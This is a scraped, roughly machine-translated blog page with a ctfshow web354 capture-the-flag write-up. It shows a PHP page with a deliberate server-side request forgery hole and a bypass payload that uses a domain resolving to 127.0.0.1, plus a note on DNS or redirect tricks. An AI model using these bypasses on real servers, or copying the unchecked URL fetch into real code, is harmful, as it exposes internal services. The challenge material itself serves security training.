当前位置:网站首页>ctfshow-web354(SSRF)
ctfshow-web354(SSRF)
2022-07-01 06:56:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|./i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>Law 1 :
sudo.cc amount to 127.0.0.1
url=http://sudo.cc/flag.php Law two :
Change the local domain name A It was recorded that 127.0.0.1 On , And then visit http:// domain name /flag.php that will do ( You can also set up on your own domain name server 302 Jump )

边栏推荐
- 【微信小程序低代码开发】二,在实操中化解小程序的代码组成
- Chapitre V gestion des entrées / sorties
- Software engineering review
- EasyNVS云管理平台功能重构:支持新增用户、修改信息等
- 问题解决:OfficeException: failed to start and connect(一)
- Esp32 monitors the battery voltage with ULP when the battery is powered
- H5 web page determines whether an app is installed. If it is installed, it will jump to the summary of the scheme to download if it is not installed
- Interview questions for HW (OD) post
- 8 张图 | 剖析 Eureka 的首次同步注册表
- 【微信小程序】一文解决button、input、image组件
猜你喜欢

【微信小程序】如何搭积木式开发?
![[lingo] find the minimum connection diagram of seven cities to minimize the price of natural gas pipelines](/img/34/d2efae5b283cdc130d55f52cdff76d.png)
[lingo] find the minimum connection diagram of seven cities to minimize the price of natural gas pipelines

ctfshow-web352,353(SSRF)

Grain Mall - environment (p1-p27)

JSP - 分页

发现了一个 MySQL 的巨坑:update 更新别再用影响行数做判断了!!!

如何通过cdn方式使用阿里巴巴矢量图字体文件

DC-4靶机

【计网】(一) 集线器、网桥、交换机、路由器等概念

Some pits designed by NOC
随机推荐
【LINGO】求七个城市最小连线图,使天然气管道价格最低
自动化测试平台(十三):接口自动化框架与平台对比及应用场景分析及设计思路分享
Chapter V input / output (i/o) management
绕圆旋转动画组件,拿过来直接用
开源了!文心大模型ERNIE-Tiny轻量化技术,又准又快,效果全开
Is fixed investment fund a high-risk product?
【微信小程序】如何搭积木式开发?
How to permanently configure local opencv4.5.5 for vs2019
If I am in Guangzhou, where can I open an account? Is it safe to open an account online?
女生适合学产品经理吗?有什么优势?
ESP32 - ULP 协处理器在低功耗模式下读片内霍尔传感器HALL SENSOR
产品学习(一)——结构图
MySQL data type learning notes
【分类模型】Q 型聚类分析
转行做产品经理,如何挑选产品经理课程?
了解ESP32睡眠模式及其功耗
概率论学习笔记
為什麼這麼多人轉行產品經理?產品經理發展前景如何?
问题:OfficeException: failed to start and connect(二)
【Tikhonov】基于Tikhonov正则化的图像超分辨率重建